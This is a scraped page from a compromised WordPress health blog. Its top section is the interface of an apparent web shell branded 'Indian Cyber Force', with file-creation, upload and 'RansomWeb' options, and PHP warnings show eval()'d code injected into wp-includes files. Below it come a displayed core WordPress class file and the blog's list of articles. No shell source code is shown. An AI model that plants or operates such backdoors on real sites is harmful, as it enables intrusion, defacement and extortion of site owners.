Warning: Constant WP_USE_THEMES already defined in css.zip#index.php on line 74
  • Home (current)
  • वर्तमान निदेशक => /www/wwwroot/wellwisehub.org/wp-includes/
  • सूचना एवं अपलोड
    Info Server
Indian Cyber Force
Folders रचयन्तु सञ्चिकां रचयन्तु RansomWeb लॉगआउट

Warning: Undefined array key "बहिः गच्छतु" in /www/wwwroot/wellwisehub.org/wp-includes/blocks/index.php(1) : eval()'d code on line 136

Warning: Undefined array key "aksi" in /www/wwwroot/wellwisehub.org/wp-includes/blocks/index.php(1) : eval()'d code on line 140

Warning: Undefined array key "नामपत्र" in /www/wwwroot/wellwisehub.org/wp-includes/blocks/index.php(1) : eval()'d code on line 159

Warning: Undefined array key "नामपत्र" in /www/wwwroot/wellwisehub.org/wp-includes/blocks/index.php(1) : eval()'d code on line 181
Current File : /www/wwwroot/wellwisehub.org/wp-includes/class-wp-http-requests-hooks.php
<?php
/**
 * HTTP API: Requests hook bridge class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.7.0
 */

/**
 * Bridge to connect Requests internal hooks to WordPress actions.
 *
 * @since 4.7.0
 *
 * @see WpOrg\Requests\Hooks
 */
#[AllowDynamicProperties]
class WP_HTTP_Requests_Hooks extends WpOrg\Requests\Hooks {
	/**
	 * Requested URL.
	 *
	 * @var string Requested URL.
	 */
	protected $url;

	/**
	 * WordPress WP_HTTP request data.
	 *
	 * @var array Request data in WP_Http format.
	 */
	protected $request = array();

	/**
	 * Constructor.
	 *
	 * @param string $url     URL to request.
	 * @param array  $request Request data in WP_Http format.
	 */
	public function __construct( $url, $request ) {
		$this->url     = $url;
		$this->request = $request;
	}

	/**
	 * Dispatch a Requests hook to a native WordPress action.
	 *
	 * @param string $hook       Hook name.
	 * @param array  $parameters Parameters to pass to callbacks.
	 * @return bool True if hooks were run, false if nothing was hooked.
	 */
	public function dispatch( $hook, $parameters = array() ) {
		$result = parent::dispatch( $hook, $parameters );

		// Handle back-compat actions.
		switch ( $hook ) {
			case 'curl.before_send':
				/** This action is documented in wp-includes/class-wp-http-curl.php */
				do_action_ref_array( 'http_api_curl', array( &$parameters[0], $this->request, $this->url ) );
				break;
		}

		/**
		 * Transforms a native Request hook to a WordPress action.
		 *
		 * This action maps Requests internal hook to a native WordPress action.
		 *
		 * @see https://github.com/WordPress/Requests/blob/master/docs/hooks.md
		 *
		 * @since 4.7.0
		 *
		 * @param array $parameters Parameters from Requests internal hook.
		 * @param array $request Request data in WP_Http format.
		 * @param string $url URL to request.
		 */
		do_action_ref_array( "requests-{$hook}", $parameters, $this->request, $this->url ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		return $result;
	}
}
wellwisehub – Page 2 Skip to content
wellwisehub

Latest Articles

  • Blog

    Essential Fitness Gear for a More Productive Workout

  • Blog

    Understanding Drug Test Kits: The Chemistry of Substance Detection

  • Blog

    “Transform Your Look: 5 Ways to Enhance Your Facial Appearance”

  • Blog

    Innovative Approaches and Medications for Ulcer Treatment

  • Blog

    The Advantages and Comforts of Hospice Care

  • Blog

    5 Indicators That Your Facial Skin Could Benefit from Expert Care

  • Blog

    Is It Safe to Remove Surgical Staples at Home?

  • Blog

    The Role of Support Groups in Addiction Recovery

  • Blog

    The Best Way to Arrange Your Skincare Routine for Maximum Effectiveness

  • Blog

    Key Factors to Consider When Choosing a Reliable Drug Rehab Center

 Older Posts
Newer Posts 

Recent Posts

Recent Comments

Graceful Theme by Optima Themes